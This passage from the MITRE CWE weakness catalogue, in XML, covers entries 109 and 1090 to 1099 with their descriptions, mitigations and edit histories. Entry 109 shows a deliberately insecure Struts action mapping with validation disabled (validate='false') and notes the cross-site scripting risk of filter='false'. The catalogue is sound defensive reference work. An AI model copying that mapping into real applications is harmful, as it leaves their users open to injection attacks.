					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="109" Name="Struts: Validator Turned Off" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1173" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that an action form mapping enables validation. Set the validate field to true.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This mapping defines an action for a download form:</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;action path="/download"<xhtml:br/>type="com.website.d2.action.DownloadAction"<xhtml:br/>name="downloadForm"<xhtml:br/>scope="request"<xhtml:br/>input=".download"<xhtml:br/>validate="false"&gt;<xhtml:br/>&lt;/action&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>This mapping has disabled validation. Disabling validation exposes this action to numerous types of attacks.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Struts: Validator Turned Off</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Other">The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically encodes special HTML characters, replacing a &lt; with "&amp;lt;" and a &gt; with "&amp;gt;". This action can be disabled by specifying filter="false" as an attribute of the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1090" Name="Method Containing Access of a Member Element from Another Class" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A method for a class performs an operation that directly
					accesses a member element from another class.</Description>
         <Extended_Description><xhtml:p>This issue suggests poor encapsulation and makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1061" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-16</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-16"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1091" Name="Use of Object without Invoking Destructor Method" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains a method that accesses an object but does not later invoke
					the element's associated finalize/destructor method.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly by retaining memory and/or other resources longer than necessary.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="772" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="1076" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-15</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-15"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1092" Name="Use of Same Invokable Control Element in Multiple Architectural Layers" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses the same control element across multiple
					architectural layers.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-10</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-10"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1093" Name="Excessively Complex Data Representation" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product uses an unnecessarily complex internal representation for its data structures or interrelationships between those structures.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1094" Name="Excessive Index Range Scan for a Data Resource" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains an index range scan for a large data table,
					but the scan can cover a large number of rows.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p>
	 <xhtml:p>While the interpretation of "large data table" and "excessive index range" may vary for each product or developer, CISQ recommends a threshold of 1000000 table rows and a threshold of 10 for the index range.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-7</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-7"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1095" Name="Loop Condition Value Update within the Loop" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a loop with a control flow condition based on
					a value that is updated within the body of the loop.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-5</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-5"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1096" Name="Singleton Class Instance Creation without Proper Locking or Synchronization" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably, e.g. by making the instantiation process non-thread-safe and introducing deadlock (CWE-833) or livelock conditions.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="820" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-12</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-12"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1097" Name="Persistent Storable Data Element without Associated Comparison Control Element" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a storable data element that does not have
					all of the associated functions or methods that are necessary to support
					comparison.</Description>
         <Extended_Description><xhtml:p>For example, with Java, a class that is made persistent requires both hashCode() and equals() methods to be defined.</xhtml:p>
<xhtml:p>This issue can prevent the product from running reliably, due to incorrect or unexpected comparison results.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="1076" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="595" View_ID="1305" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-4</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-4"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1098" Name="Data Element containing Pointer Item without Proper Copy Control Element" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code contains a data element with a pointer that does not have an associated copy or constructor method.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1076" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-6</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1099" Name="Inconsistent Naming Conventions for Identifiers" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product's code, documentation, or other artifacts do not
					consistently use the same naming conventions for variables, callables, groups of
					related callables, I/O capabilities, data types, file names, or similar types of
					elements.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and/or maintain the product due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
